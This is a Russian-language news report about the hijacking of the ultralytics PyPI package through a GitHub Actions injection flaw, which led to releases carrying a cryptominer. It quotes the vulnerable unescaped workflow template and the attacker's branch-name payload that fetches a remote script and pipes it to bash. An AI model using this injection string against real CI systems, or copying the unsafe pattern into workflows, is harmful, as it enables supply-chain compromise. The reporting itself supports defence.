Для компрометации репозитория была задействована уязвимость в пакете ultralytics-actions, применяемом для автоматического запуска обработчиков при совершении определённых действий с репозиторием на GitHub, используя механизм GitHub Actions. В проекте ultralytics уязвимый обработчик привязывался к событию pull_request_target и вызывался при поступлении новых pull-запросов. В частности, для форматирования кода в присылаемых pull-запросах вызывался обработчик format.yml и выполнялся код, указанный в секции "run" файла action.yml, в котором присутствовали shell-команды с шаблонами подстановки:
Код:
git pull origin ${{ github.head_ref || github.ref }}
git config --global user.name "${{ inputs.github_username }}"
git config --global user.email "${{ inputs.github_email }}"
Таким образом, в shell-команды без должного экранирования подставлялось название Git-ветки, упоминаемой в pull-запросе. Примечательно, что в августе в пакете ultralytics-actions уже исправлялась похожая уязвимость, связанная с использованием внешнего значения в функции echo:
Код:
echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
Для организации выполнения своего кода в контексте обработчика GitHub Actions атакующие отправили pull-запрос в репозиторий ultralytics, указав в качестве имени ветки:
Код:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Соответственно, при поступлении pull-запроса в код подставилась заданная атакующими строка "$(...)", которая при при последующем запуске обработчика привела к выполнению кода "curl -sSfL raw.githubusercontent.com/.../file.sh | bash".
Запуск кода в контексте GitHub Actions может использоваться для захвата токена доступа к репозиторию и других конфиденциальных данных. Как именно атакующим удалось сформировать релиз, получив возможность выполнения своего кода в GitHub Actions, пока точно не ясно, предполагается, что это стало возможным благодаря
изменению обработчика publish.yml (атакующие убрали проверку учётной записи с которой разрешено публиковать релизы в PyPI) и использованию техники отравления сборочного кэша GitHub Actions для подстановки своих данных в релиз.
Первый вредоносный релиз Ultralytics 8.3.41 был опубликован злоумышленниками в каталоге PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 на следующий день. В 15:47 был размещён ещё один релиз 8.3.42, который был удалён в 16:47. Таким образом вредоносные версии в общей сложности были доступны для загрузки около 13 часов (в день в PyPI фиксируется около 250 тысяч загрузок библиотеки ultralytics). В составе выпусков
8.3.41 и 8.3.42 присутствовал код, осуществляющий загрузку с внешнего сервера компонента XMRig для майнинга криптовалюты.
Разработчики проекта устранили проблему и сформировали корректирующие релизы 8.3.43 и 8.3.44, но спустя два дня была совершена ещё одна атака, в ходе которой злоумышленники опубликовали сегодня в 04:41 и 05:27 (MSK) два дополнительных вредоносных релиза - 8.3.45 и 8.3.46, включающих другой код для майнинга. До окончания разбирательства пользователям рекомендуется повременить с установкой новых версий и зафиксировать в зависимостях выпуск 8.3.44.
Источник: https://www.opennet.ru/opennews/art.shtml?num=62365
(opennet.ru, основная лента)